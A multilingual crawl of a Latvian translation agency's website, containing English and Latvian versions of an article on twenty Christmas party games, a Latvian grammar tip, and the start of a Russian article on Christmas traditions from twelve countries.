CONTEST You see a lot of supposedly "ugly" Christmas sweaters in the movies, but most of them are really cute. So this activity will require a lot of imagination and creativity. Each participant has the task of turning up in their own ugly sweater, preferably decorating it themselves. This activity can certainly be adapted to the circumstances and the sweater decorating can be done during the party. The main thing is to arrive with your sweater and have everything you need (fabrics, bows, Christmas tree, bells, tassels, needle, thread and glue gun) ready for the host. Each participant creates their funniest ugly jumper to present at the party. It is also important to vote and award prizes in different categories, such as 'most creative', 'most ugly' or 'crowd favourite'. A tradition from abroad This idea comes from the USA and Canada, where Ugly Christmas Sweater Parties have already become a Christmas classic! However, we at Skrivanek have introduced the Cute Christmas Sweater Day. GINGERBREAD HOUSE COMPETITION This will be a great activity for larger groups or work parties. You will need gingerbread house parts, icing, decorative elements, which you can buy in supermarkets or bake yourself from gingerbread dough. Participants need to split into teams, but can also make a house individually if there are fewer people at the event. The objectives of the activity can also vary, e. g. which team will make the gingerbread house first, or who will be the prettiest, funniest, most creative, etc. Advice: If the audience likes special challenges, the challenge can have extra elements, e. g. who can make the tallest gingerbread tower with only one hand! SECRET SANTA WITH A CHALLENGE This familiar Christmas activity may seem boring, but it can certainly be livened up and made more interesting with extra challenges and nuances. If usually before the gift-giving day each participant draws the name of another participant to know who to buy a present for, this time prepare another draw box with a special challenge, e. g. the present must be wrapped in newspaper, the present must be handmade, the present must be pink, the present must make a sound when shaken, etc. Double challenges, such as making a gift that is round and heavy or wrapping a gift in foil and containing natural elements, will make the event even more challenging and fun. We have to say that this is the Skrivanek team's favourite activity! CHRISTMAS SONG GUESSING GAME For this game you will need a music player and recordings of Christmas songs. The game challenges can vary, such as guessing the name of the song from the first chords, or picking up where the song left off. Laughter guaranteed, especially if someone starts improvising! Whatever songs we in the Skrivanek team mention, the evening will still end with Titanic's “My Heart Will Go On”! IMPROVISATION OF CHRISTMAS STORIES Each participant or team will make up a little Christmas story using randomly drawn words or phrases such as “snowman”, “nut king”, “gingerbread army”. This will be a nice family activity, encouraging the children to get involved and stimulating their creativity. A tradition from abroad The tradition comes from Scandinavia, where fairy tales are often told in the family circle, creating a special Christmas atmosphere. ALMOST THE PERFECT FEAST Similar to the Latvian TV show “Almost Perfect Dinner”, the main aim of this activity is to prepare a delicious feast for your guests, but there's a catch. In order to involve as many participants as possible, the guests also have to prepare a dish. It is important to decide who will prepare the main course, starter or dessert before getting together in order to buy the necessary ingredients. Everyone meets in the same kitchen, where the fun part begins – everyone has to be able to share the dishes, the surfaces and the oven. Laughter and fun are sure to accompany this creative chaos. Tasting the food and giving evaluations is an important part of this activity. Voting for the best dish, both in taste and presentation, is also definitely possible. CHRISTMAS OLYMPICS Participants are divided into two or more teams, each of which has to come up with its own team name and perform various relays and disciplines to collect points, with the fastest and most accurate team winning. The tasks can be very different, the main thing is that they have to be done at the party venue. Some ideas for tasks: Ring toss competition. Team members throw plastic or inflatable rings on the head of one team member. Ideally, participants should have hats with antlers on which to hit the rings. Candy fights. Plastic cups placed upside down in a row with candy on them. Using a party whistle, participants have to knock them out of the cups, whichever team member does it first. Cheerful chefs. Blindfold one participant from each team. In one hand the player has a plastic frying spatula and in the other a bowl to be held above their head. The blindfolded participant uses the spatula to place Christmas gift bouquets scattered on the table in front of the participant into the bowl. The team with the most bouquets in the bowl at the end of the time limit wins. Balloon blowers. Plastic cups are placed in a row on the table. One participant from each team moves the cups by stacking them, using only a balloon. The balloon must be inflated so that it expands in cup glass and the participant can pick it up and put it in another cup. The balloon must then be allowed to deflate to release the cup. Hands may not be used. Deer paws. Using plastic cups on their hands, participants should read and place the scattered marshmallows on their plate as quickly as possible. The winner is the one with the most marshmallows. Jingle Bells. Each participant has a box with a small opening on the back in which the bells are placed. By shaking and dancing, without using their hands, the participants have to shake the bells out of the box, whoever is the fastest. Jumping balloons. Balloons are tied to each of the participants' legs. The task is to break the opponent's balloon while jumping, but not to break their own. Sharp Roller. A plastic cup is placed on a rolled-out toilet paper. The player must roll the toilet paper back so that the glass does not fall over. The fastest and most accurate wins. The Biscuit Monster. Players sit on the floor and have an Oreo or other biscuit placed on their forehead. The challenge is to make it go into their mouth by holding their hands behind their back. Balance test. Participants have to get down and stand up with a plastic cup with sweets on their head. If the cup falls over in the process, start again. STRANGE GIFTS DRAW Unlike Secret Santa, everyone brings a present without knowing who will get it. The gift can be anything that can be hidden under the plastic cup, such as sweets, money, a candle, pickles or an apple. The funnier the better. Plastic cups are numbered and gifts are hidden underneath. Each guest has the chance to draw one or more gifts by pulling out the pieces of paper with the corresponding numbers. It is funny and fun to see the expressions on the children's faces when they receive, for example, an onion as a gift. CHRISTMAS ORIENTEERING GAME This game will require some preparation, because like any treasure hunt, you will need to prepare clues as well as the treasure itself. The treasure hunt can be held indoors or even outside, in the backyard of the house or in the neighbourhood. The important thing is that each clue leads the searchers closer to the target. The clues can be obvious, like looking in the kitchen cupboard, or like riddles where the player has to shake their head a little to know the right answer. CHRISTMAS SILENT SHOW This would be a great game at a work party or a large gathering of family and friends. Two or more teams compete against each other. It is important that the words shown are related to Christmas themes such as films, food, decorations, traditions and other things. It will be more interesting and more difficult if you have to guess whole phrases instead of just one word. GIFT GUESSING GAME The game can be played in two ways, but the aim is the same: to guess what gift is in the bag. Option one: A large gift bag or Christmas stocking is filled with different gift items and the blindfolded player has to guess what is in the bag using only their sense of touch. If the gift is guessed correctly, it can be kept. Option two: The different objects are wrapped in gift paper so that their shape is visible, the player has to guess what is inside just by seeing it but not touching the gift. It will be funnier and more interesting if the shape of the parcels is misleading, e. g. a pan-shaped gift is actually a mobile phone. Advice: This can be an alternative to the gifting games mentioned above, allowing guests to choose a gift based on appearance alone. To keep things fair, it is advisable to draw lots to decide who will make the choice. CHRISTMAS TREE DECORATING COMPETITION Participants compete to see who can decorate a small Christmas tree the fastest with the available decorations. It is important that all the decorations provided for each tree are used. If there are more participants, the tree can be bigger. It gets funny and fun when time is limited! CHRISTMAS PHOTO CORNER Christmas is definitely a time when we make beautiful memories with our loved ones. A great festive activity that will appeal to both young and old is the Christmas photo corner. It's good if you can spare some wall space to decorate and create a backdrop for the pictures. It is worth preparing various themed accessories, hats, glasses, wigs, ribbons, masks. If an instant picture camera is available, the finished pictures can be hung on the tree or a picture wall can be created. Advice: For added fun, participants can compete for the most creative or funniest photo. GIFT BAG RACE For those who like sporty activities, a variety of Christmas-themed modifications of the usual games can be used. One variant is the gift bag race, where, in a relay race, participants from each team have to run to the mark and back with both feet in a gift bag (a pillowcase or a potato sack can also be used, which will be more durable). This game is guaranteed to make everyone laugh! It is best played outdoors when the snow is fresh and jumping with the bag will be even more fun. CHANGE OF IMAGE This activity will be a fun way to spend time with friends. The aim is to buy or bring clothes and accessories to be worn by another participant before going out together. The most important thing is to use your imagination, the funnier the outfit combinations the better. CREATIVE SNOWMAN A fun activity for children together with their parents. Each team makes a snowman which has to be built in a limited time. It is important that the snowman has everything needed – a nose, a hat and a scarf, extra points for extra props. CHRISTMAS CHARACTER GUESSING GAME A sticky note is stuck to the forehead of the participant with a Christmas character from a film, storybook or cartoon. The task of the participant, not knowing what is written on the piece of paper, is to ask the others questions and guess what it says. The participant may only ask the others questions that can be answered with a yes or no. For example, if the question on the paper says “Grinch”, it could be “Do I like Christmas? ”, “Am I round? ”, “Am I green? ” and others. GINGERBREAD DECORATING COMPETITION Large gingerbread cakes and different coloured icing and sugar decorations are needed. The challenge is to decorate your own gingerbread in a limited time, more interesting if participants are blindfolded. GAMES WITH CANDY CANES These sweet mints in the shape of candy canes are a typical Christmas snack. There are different games where these candies can be used. For example, in the game of stick fishing, the participant has to hold this candy between his/her legs with the curved part downwards. Two bowls are placed in front of the participant: one empty, the other full of these candies (with the curved part on top). The task of the player is to move the candy canes to the empty container using only the attached candy. Christmas is the perfect time to create unforgettable moments together. Choose one or more of these activities and enjoy a fun and heartfelt celebration! Merry, bright and snowy Christmas! --- > Atklāj 20 jautras spēles Ziemassvētku svinībām ar ģimeni, draugiem vai kolēģiem. No neglīto džemperu konkursa līdz dāvanu maisa skrējienam! - Published: 2024-12-16 - Modified: 2025-07-16 - URL: https://skrivanek.lv/smiekligas-un-jautras-speles-ziemassvetkiem/ - Kategorijas: Raksti - Translation Priorities: Optional 20 SMIEKLĪGAS UN JAUTRAS SPĒLES ZIEMASSVĒTKU SVINĪBĀM Klāt decembris! Īstais laiks, kad veidot savus svētku plānus, iegādāties dāvanas un izdekorēt māju. Lai Ziemassvētki nebūtu laiks, ko pavadām tikai pie svētku galda, ēdot gardumus, ir vērts padomāt par interesantām aktivitātēm un spēlēm. Lai kopā sanākšana būtu ne tikai sirsnīga, bet arī jautra, apkopojām smieklīgas un jautras aktivitātes Ziemassvētku svinībām, kas piemērotas gan ģimenēm, gan draugu kompānijām, gan pasākumiem kopā ar kolēģiem! NEGLĪTO ZIEMASSVĒTKU DŽEMPERU KONKURSS Filmās daudz redzēti it kā “neglītie” Ziemassvētku džemperi, bet vairums no tiem ir patiešām glīti. Tāpēc šai aktivitātei vajadzēs krietni daudz iztēles un radošuma. Ikvienam svētku dalībniekam ir uzdevums ierasties savā neglītajā džemperī, vēlams to dekorējot pašam. Šo aktivitāti noteikti var pielāgot apstākļiem un džemperu dekorēšanu veikt ballītes laikā. Galvenais ierasties ar savu džemperi un viesu uzņēmējam sagatavot visu nepieciešamo (audumus, bantes, eglīšu mantiņas, zvaniņus, pušķīšus, adatu, diegu un līmes pistoli). Katrs dalībnieks rada savu smieklīgāko neglīto džemperi, ko prezentēt svinību laikā. Svarīgi veikt arī balsošanu un piešķirt balvas dažādās kategorijās, piemēram, "visradošākais", "visneglītākais" vai "publikas simpātija". Tradīcija no ārzemēm Šī ideja aizgūta no ASV un Kanādas, kur “Ugly Christmas Sweater Parties” jau kļuvušas par Ziemassvētku klasiku! Piemēram, Skrivanek komandā esam ieviesuši skaisto Ziemassvētku džemperu dienu. PIPARKŪKU MĀJIŅU SACENSĪBAS Šī būs lieliska nodarbe lielākās kompānijās vai darba ballītēs. Nepieciešamas piparkūku mājiņu detaļas, glazūra, dekoratīvie elementi, ko var iegādāties lielveikalos vai izcept paši no piparkūku mīklas. Dalībniekiem nepieciešams sadalīties komandās, taču mājiņas veidošanu var veikt arī katrs individuāli, ja pasākumā ir mazāk cilvēku. Arī aktivitātes mērķi var būt dažādi, piemēram, kura komanda pirmā uztaisīs piparkūku mājiņu, vai kura būs glītākā, smieklīgākā, radošākā utt. Padoms: Ja publikai patīk īpaši izaicinājumi, uzdevums var būt ar papildus elementiem, piemēram, kurš salīmēs visaugstāko piparkūku torni tikai ar vienu roku! SLEPENAIS ZIEMASSVĒTKU VECĪTIS AR IZAICINĀJUMU Šī, nu jau visiem zināmā Ziemassvētku aktivitāte, var šķist jau apnikusi, taču to noteikti var atdzīvināt un padarīt interesantāku ar papildus uzdevumiem un niansēm. Ja parasti pirms apdāvināšanās dienas katrs no dalībniekiem izlozē cita dalībnieka vārdu, lai zinātu, kam iegādāties dāvanu, tad šoreiz sagatavojiet vēl vienu izlozes kastīti ar īpašo izaicinājumu, piemēram, dāvana jāiesaiņo avīzē, dāvanai jābūt roku darbam, dāvanai jābūt rozā, dāvanai jārada skaņa, kad to krata utt. Vēl sarežģītāku un jautrāku šo pasākumu padarīs dubultie izaicinājumi, piemēram, jāsagatavo dāvana, kas ir apaļa un smaga vai dāvana jāiesaiņo folijā, un tai jāsatur dabas elementi. Jāteic, ka šī ir Skrivanek kolektīva vismīļākā aktivitāte! ZIEMASSVĒTKU DZIESMU MINĒŠANAS SPĒLE Šai spēlei būs nepieciešamas mūzikas atskaņotājs un Ziemassvētku dziesmu ieraksti. Spēles uzdevumi var būt dažādi, piemēram, uzminēt dziesmas nosaukumu pēc pirmajiem mūzikas akordiem, vai turpināt dziesmu no vietas, kur tā apturēta. Smiekli garantēti, īpaši, ja kāds sāk improvizēt! Lai kādas dziesmas Skrivanek komandā neminētu, vakars noslēgsies tik un tā ar Titānika “My Heart Will Go On”! ZIEMASSVĒTKU STĀSTU IMPROVIZĀCIJA Katrs dalībnieks vai komanda izdomā nelielu Ziemassvētku stāstu, izmantojot nejauši izlozētus vārdus vai frāzes, piemēram, "sniegavīrs", "riekstu karalis", "piparkūku armija". Šī būs jauka aktivitāte ģimenes lokā, rosinot iesaistīties bērnus un veicinot viņu radošumu. Tradīcija no ārzemēm Tradīcija nākusi no Skandināvijas, kur bieži tiek stāstīti pasaku stāsti ģimenes lokā, radot īpašu Ziemassvētku atmosfēru. GANDRĪZ IDEĀLS MIELASTS Līdzīgi kā televīzijas šovā “Gandrīz ideālas vakariņas” arī šīs aktivitātes galvenais mērķis ir pagatavot gardu mielastu saviem viesiem, taču te ir āķis. Lai iesaistītu pēc iespējas vairāk dalībnieku, arī viesiem ir jāpagatavo kāds ēdiens. Svarīgi pirms sanākšanas kopā nolemt, kurš gatavos pamatēdienu, uzkodu vai desertu, lai iegādātos nepieciešamās sastāvdaļas. Visi satiekas vienā virtuvē, kur sākas interesantākā daļa – visiem spēt sadalīt traukus, virsmas un cepeškrāsni. Smiekli un jautrība noteikti pavadīs šo radoši haosu. Svarīga šīs aktivitātes daļa ir ēdienu pagaršošana un vērtējumu sniegšana. Noteikti var veikt arī balsošanu par labāko ēdienu, gan pēc garšas, gan noformējuma. ZIEMASSVĒTKU OLIMPISKĀS SPĒLES Dalībniekus sadala divās vai vairākās komandās, kur katrai jāizdomā savas komandas nosaukums un jāveic dažādas stafetes un disciplīnas vācot punktus, uzvar ātrākā un precīzākā komanda. Uzdevumi var būt ļoti dažādi, galvenais, lai tie ir veicami ballītes vietā. Dažas idejas uzdevumiem: Riņķu mešanas sacensības. Komandas dalībnieki met plastmasa vai piepūšamos riņķus vienam komandas dalībniekam uz galvas. Ideāli, ja dalībniekiem ir cepures ar briežu ragiem uz kuriem riņķi jātrāpa. Konfekšu cīņas. Rindā saliktas otrādi apliktas plastmasas glāzes uz kurām novietotas konfektes. Izmantojot svētku svilpi, dalībniekiem tās jānogāž no glāzēm, kuras komandas dalībnieks to veiks ātrāk. Jautrie pavāri. No katras komandas vienam dalībniekam aizsien acis. Vienā rokā spēlētājam ir plastmasas cepšanas lāpstiņa otrā trauks, kas jātur virs savas galvas. Uzdevums ar aizsietām acīm izmantojot cepšanas lāpstiņu, ievietot traukā Ziemassvētku dāvanu pušķus, kas izbārstīti uz galda dalībnieka priekšā. Uzvar komanda, kuras traukā ir visvairāk pušķi pēc laika limita beigām. Balonu pūtēji. Uz galda rindā saliktas plastmasas glāzes. No katras komandas viens dalībnieks pārceļ glāzes, saliekot tās vienā, tikai ar balona palīdzību. Balons jāpiepūš tā, lai tas izplestos glāzē un dalībnieks to varētu pacelt un ievietot citā glāzē. Tad balonam jāļauj saplakt, lai glāzi palaistu vaļā. Nedrīkst izmantot rokas. Brieža ķepas. Izmantojot uz rokām uzvilktas plastmasas glāzītes dalībniekiem pēc iespējas ātrāk jāsalasa un uz sava šķīvja jānovieto uz galda izbārstītie zefīriņi. Uzvar tas, kam vairāk zefīriņu. Zvaniņš skan. Katram dalībniekam uz muguras tiek piestiprināta kaste ar nelielu atveri, kurā sabērti zvaniņi. Neizmantojot rokas, kratoties un dejojot, dalībniekiem jāizkrata zvaniņi no kastes, kurš ātrāk. Lēkājošie baloni. Dalībniekiem pie katras kājas piesien balonus. Uzdevums lecot saplēst pretinieka balonu, bet neļaut saplēst savējo. Ašais rullētājs. Uz izritināta tualetes papīra uzliek plastmasas glāzi. Spēlētājam jāsatin atpakaļ tualetes papīrs tā, lai glāze neapkristu. Uzvar ātrākais un precīzākais. Cepumu monstrs. Spēlētāji sēž uz grīdas, tiem uz pieres uzliek "oreo" vai kādu citu cepumu. Uzdevums panākt, ka tas nonāk mutē, turot rokas aiz muguras. Līdzsvara tests. Dalībniekiem jānotupstās un jāpieceļas ar uz galvas uzliktu plastmasas glāzi, kurā ieliktas konfektes. Ja glāze šajā procesā apkrīt, jāsāk no sākuma. DĪVAINO DĀVANU IZLOZE Pretēji Slepenajam Ziemassvētku vecītim šajā gadījumā katrs atnes dāvaniņu, nezinot kam tā tiks. Dāvana var būt jebkas, ko iespējams paslēpt zem plastmasas glāzes, piemēram, konfektes, nauda, svece, marinēti gurķīši vai ābols. Jo smieklīgāk, jo labāk. Plastmasas glāzes sanumurē un zem tām paslēpj dāvaniņas. Katram svinību viesim ir iespēja izlozēt vienu vai vairākas dāvaniņas izvelkot lapiņas ar attiecīgajiem numuriņiem. Smieklīgi un jautri redzot bērnu sejas izteiksmes, kad dāvanā saņem, piemēram, sīpolu. ZIEMASSVĒTKU ORIENTĒŠANĀS SPĒLE Šī spēle prasīs sagatavošanos, jo līdzīgi kā jebkurās dārgumu medībās arī šeit jāsagatavo norādes, kā arī paši dārgumi. Dārgumu medības var rīkot telpās vai pat ārpus tām, mājas pagalmā, vai tuvējā apkārtnē. Svarīgi, lai katra nākamā norāde aizved meklētājus tuvāk mērķim. Norādes var būt nepārprotamas, piemēram, paskaties virtuves skapītī, vai kā mīklas, kur spēlētājam ir nedaudz jāpalauza galva, lai zinātu pareizo atbildi. ZIEMASSVĒTKU MĒMAIS ŠOVS Šī būs lieliska spēle darba ballītē vai lielākā ģimenes un draugu sanākšanā. Savstarpēji sacenšas vismaz divas vai vairāk komandas. Svarīgi, lai rādāmie vārdi ir saistīti ar Ziemassvētku tematiku, piemēram, filmām, ēdieniem, dekorācijām, tradīcijām un citām lietām. Interesantāk un grūtāk būs, ja jāatmin veselas frāzes nevis tikai viens vārds. DĀVANU MINĒŠANAS SPĒLE Šo spēli var spēlēt divējādi, taču mērķis ir viens – uzminēt, kāda dāvana slēpjas maisiņā. Pirmais variants: Lielā dāvanu maisā vai Ziemassvētku zeķē tiek ievietoti dažādi priekšmeti – dāvaniņas, un spēlētājam ar aizsietām acīm, tikai izmantojot tausti jāuzmin, kas atrodams maisā. Ja sataustītā dāvaniņa uzminēta pareizi to var paturēt. Otrais variants: Dažādus priekšmetus ietin dāvanu papīrā, tā lai redzama to forma, spēlētājam jāatmin, kas tajā iekšā tikai to redzot, bet neaiztiekot dāvanu. Smieklīgāk un interesantāk būs, ja paciņu forma būs maldinoša, piemēram, pannas formas dāvanā patiesībā slēpjas mobilais telefons. Padoms: Šī var būt kā alternatīva iepriekš minētajām apdāvināšanās spēlēm, dodot iespēju viesiem izvēlēties dāvanu tikai pēc izskata. Lai viss būtu godīgi, ieteicams izlozēt secību, kurš pēc kura veiks izvēli. EGLĪŠU ROTĀŠANAS SACENSĪBAS Dalībnieki sacenšas, kurš spēs visātrāk izrotāt nelielu eglīti ar pieejamajiem rotājumiem. Svarīgi, ka jāizlieto visi rotājumi, kas paredzēti katrai eglītei. Ja dalībnieku ir vairāk, eglīte var būt lielāka. Smieklīgi un jautri kļūst, kad laiks ir visai ierobežots! ZIEMASSVĒTKU FOTOSTŪRIS Ziemassvētki noteikti ir laiks, kad veidojam skaistas atmiņas kopā ar saviem mīļajiem un tuvajiem. Lieliska svētku aktivitāte, kas patiks gan lieliem, gan maziem ir Ziemassvētku fotostūris. Labi, ja iespējams atvēlēt kādu sienu, ko izrotāt, izveidojot bilžu fonu. Vērts sagatavot dažādus tematiskus aksesuārus, cepures, brilles, parūkas, lentes, maskas. Ja ir pieejama tūlītējā bilžu kamera, gatavās bildes var iekārt eglītē, vai izveidot bilžu sienu. Padoms: Papildus jautrībai dalībnieki var sacensties par radošāko vai smieklīgāko fotogrāfiju. DĀVANU MAISA SKRĒJIENS Tiem, kam patīk sportiskas aktivitātes var izmantot dažādas ierasto spēļu modifikācijas Ziemassvētku tematikā. Viens no variantiem ir dāvanu maisa skrējiens, kur stafetes veidā, dalībniekiem no katras komandas jāskrien līdz atzīmei un atpakaļ ar abām kājām dāvanu maisā (izmantot var arī spilvendrānu vai kartupeļu maisu, kas būs izturīgāks). Šī spēle garantē smieklus visiem! Vislabāk šo spēli spēlēt ārā, kad tikko sasnidzis svaigs sniegs un lēkšošana ar maisu būs vēl jautrāka. TĒLA MAIŅA Šī aktivitāte būs jautrs veids kā pavadīt laiku ar draugiem. Mērķis ir iegādāties vai atnest apģērbus un aksesuārus, ko uzvilks kāds cits dalībnieks pirms kopīgas došanās ārpus mājas. Svarīgākais ir likt lietā iztēli, jo smieklīgākas apģērbu kombinācijas, jo labāk. RADOŠAIS SNIEGA VĪRS Jautra nodarbe bērniem kopā ar vecākiem. Katra komanda veļ sniega vīru, kas jāuzceļ ierobežotā laikā. Svarīgi, lai sniega vīram būtu viss nepieciešamais – deguns, cepure un šalle, papildus punkti par papildus atribūtiem. ZIEMASSVĒTKU TĒLU MINĒŠANAS SPĒLE Dalībniekam pie pieres pielīmē līmlapiņu, uz kuras uzrakstīts kāds no Ziemassvētku tēliem no filmām, pasaku grāmatām vai multfilmām. Dalībnieka uzdevums, nezinot, kas rakstīts uz lapiņas, uzdot jautājumus pārējiem un atminēt, kas tur rakstīts. Dalībnieks drīkst uzdot pārējiem tikai tādus jautājumus, kas atbildami ar jā vai nē. Piemēram, ja uz lapiņas rakstīts Griņčs jautājums varētu būt: “vai man patīk Ziemassvētki? ”, “vai es esmu apaļīgs? ”, “vai es esmu zaļš? ” un citi. PIPARKŪKU DEKORĒŠANAS SACENSĪBAS Nepieciešamas liela izmēra piparkūkas un dažādas krāsu glazūras, un cukura dekori. Uzdevums ierobežotā laikā izdekorēt savu piparkūku, interesantāk, ja dalībniekiem ir aizsietas acis. SPĒLES AR KONFEKŠU SPIEĶĪŠIEM “CANDY CANES” Šīs saldās piparmētru konfektes spieķu formā ir tipisks Ziemassvētku našķis. Ir dažādas spēles, kur iespējams izmantot šīs konfektes. Piemēram, spieķu makšķerēšanas spēlē dalībniekam starp kājām piestiprina šo konfekti ar liekto daļu uz leju. Priekšā nolikti divi trauki: viens tukšs, otrs pilns ar šīm konfektēm (ar saliekto daļu uz augšu). Spēlētāja uzdevums izmantojot tikai piesieto konfekti pārcelt konfekšu spieķīšus uz tukšo trauku. Ziemassvētki ir ideāls laiks, lai kopā radītu neaizmirstamus mirkļus. Izvēlieties vienu vai vairākas no šīm aktivitātēm un baudiet jautras un sirsnīgas svinības! Lai priecīgi, gaiši un sniegoti Ziemassvētki! ZIEMASSVĒTKU KARTĪTE VAI KARTIŅA? Radiem, draugiem un tuviniekiem svētkos sūtīsim Ziemassvētku kartiņu vai Ziemassvētku kartīti? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms ADVENTE VAI ADVENTS? Vai Ziemassvētku gaidīšanas laiks ir advente vai advents? Uzziniet atbildi šajā latviešu valodas padomā! Valodas padoms --- > Es tupjos vai tupstos – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-11-26 - Modified: 2024-11-26 - URL: https://skrivanek.lv/pietupjos-vai-pietupstos/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ES PIETUPJOS VAI ES PIETUPSTOS? 1 Lai paskatītos zem galda, es pietupjos. Vai tomēr pietupstos? Vārdam “tupties” ir atgriezeniskā darbības vārda galotne, tāpēc nereti īstenības izteiksmes vienskaitļa pirmajā personā mēdzam izveidot formu pēc līdzības ar citiem atgriezeniskajiem darbības vārdiem (piemēram, stiepties – es stiepjos, sarunāties – es sarunājos, mazgāties – es mazgājos). Tomēr, pareiza darbības vārda “tupties” forma īstenības izteiksmes vienskaitļa pirmajā personā ir “tupstos”. Tātad – lai paskatītos zem galda, es pietupstos. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Не все украшают елки, дарят подарки и ждут в гости Санта-Клауса. Мы собрали несколько интересных рождественских традиций со всего мира. - Published: 2024-11-19 - Modified: 2024-11-19 - URL: https://skrivanek.lv/unikalas-un-interesantas-ziemassvetku-tradicijas-no-12-pasaules-valstim/ - Kategorijas: Raksti - Translation Priorities: Optional УНИКАЛЬНЫЕ И ИНТЕРЕСНЫЕ РОЖДЕСТВЕНСКИЕ ТРАДИЦИИ ИЗ 12 СТРАН МИРА Рождество празднуют по-разному, часто сочетая языческие и христианские традиции. Украшение елки, визит Санта-Клауса, обмен подарками с друзьями и близкими, чтение стихов и даже перетаскивание бревен и хождение на ходулях – все это традиции, хорошо знакомые большинству. Любопытно, что не все празднуют Рождество одинаково, поэтому мы собрали несколько уникальных и интересных рождественских традиций из 12 стран мира. Эти традиции демонстрируют разнообразные творческие способы празднования Рождества в разных культурах. Мы, сотрудники Skrivanek Baltic, желаем вам яркого, веселого и счастливого Рождества! СВЯТОЙ НИКОЛАЙ И КРАМПУС В АВСТРИИ Все мы слышали, что за непослушание перед Рождеством можно найти лишь кусок угля под елкой. В Австрии последствия гораздо более плачевны: непослушных детей может навестить Крампус – рогатое чудовище, готовое расправиться со всеми непослушными, в то время как Святой Николай посещает только тех, кто хорошо себя вел. Крампус не просто раздает уголь: плохих детей могут съесть или, что еще хуже, утащить в ад. Крампуса можно услышать еще до его прихода – о визите чудовища возвещает грохот ржавых цепей и устрашающий звон колокольчиков лохматого козла. 5 декабря мужчины наряжаются в костюмы Крампуса и бродят по улицам города, угрожая людям палками и приходя пугать детей в их собственные дома. В Австрии и некоторых частях Германии эта традиция известна как Krampusnacht, или «Ночь Крампуса». Если такая праздничная традиция вас заинтриговала, обязательно посетите ежегодный парад Крампуса в Вене. СОЛОМЕННЫЙ КОЗЕЛ В ШВЕЦИИ В Швеции верят, что перед Рождеством появляется невидимый дух в виде козла, чтобы убедиться, что подготовка к празднику идет хорошо. Эта традиция, известная также под названием «Йольский козел», берет свое начало в XI веке и представляет собой фигуру козла в натуральную величину в сопровождении Святого Николая. Роль козла с годами претерпела изменения. В XVII веке молодые люди переодевались в козлов, шалили, дразнили других и требовали подарков. В XIX веке козел стал дарить подарки. Вместо Санта-Клауса хозяин дома часто переодевался в козла и дарил подарки всем членам семьи. Сегодня козла можно часто увидеть в качестве традиционного рождественского украшения по всей Швеции. В крупных городах гигантские версии таких украшений изготавливают из соломы и красных лент. «КАКАЮЩЕЕ ПОЛЕНО» В ИСПАНСКОЙ КАТАЛОНИИ В Каталонии существует рождественская традиция, которая связана с деревянным поленом под названием Caga Tió, что переводится как «какающее полено». Это украшенное бревно, подпираемое маленькими деревяшками, на одном конце которого нарисовано лицо. Начиная с 8 декабря «какающее полено» каждый вечер «кормят» лакомствами и укрывают одеялом. В канун или день Рождества полено бьют палкой, заставляя его «какать» спрятанными конфетами и орехами. Следует отметить, что это не единственная традиция в мире, связанная с дефекацией. В Испании, Португалии и некоторых регионах Италии Рождество традиционно отображается в рождественских сценах. Там рядом с Марией, Иосифом и Младенцем Иисусом устанавливается статуэтка Каганера, вырезанная в виде мужчины со спущенными штанами, который справляет большую нужду. Считается, что Каганер приносит удачу, и эта традиция широко распространена с XVIII века. Сегодня, помимо традиционно одетых пупсов, можно увидеть фигурки известных личностей, монахов, политиков и Санта-Клауса. ЖАРЕНЫЙ ЦЫПЛЕНОК И ТОРТ В ЯПОНСКОМ РОЖДЕСТВЕНСКОМ МЕНЮ В то время как в англоязычной части мира во время праздников едят рождественскую ветчину и пудинг, в Японии известной традицией является употребление в качестве части рождественской трапезы жареной курицы Kentucky Fried Chicken (KFC). В 1970 году в Японии открылся первый ресторан KFC, а в 1974 году благодаря чрезвычайно успешной маркетинговой кампании зародилась традиция. Специальное рождественское предложение необходимо заказывать заранее, иначе можно оказаться в бесконечной очереди. Помимо курицы на японском праздничном столе присутствует и кое-что сладкое – рождественский пирог. Это белый бисквит, покрытый взбитыми сливками и клубникой. ПАУТИНА НА УКРАИНСКОЙ РОЖДЕСТВЕНСКОЙ ЕЛКЕ Рождественский огурец – не единственная необычная вещь, которую можно повесить на елку. Украинцы прячут на елке искусственных пауков с паутиной, считая, что их обнаружение приносит удачу. Если верить украинскому фольклору, жила-была когда-то бедная вдова, которая не могла позволить себе украсить рождественскую елку для своей семьи. Проснувшись однажды утром, она заметила паука, который красиво увешал елку своей паутиной и принес в дом праздничное настроение. В украинской культуре считается, что паутина приносит удачу. РОЖДЕСТВЕНСКИЙ ОГУРЕЦ В США Обычно рождественские елки украшают орнаментами, ангелами, звездами и другим декором. А как насчет украшения в форме огурца? В некоторых регионах США существует традиция, заложенная немецкими иммигрантами, – прятать в рождественской елке рождественский огурец. Ребенок, который найдет его первым, получит дополнительный подарок, или, как говорят, удача будет сопутствовать ему в течение всего следующего года. Еще одна интересная традиция в США – 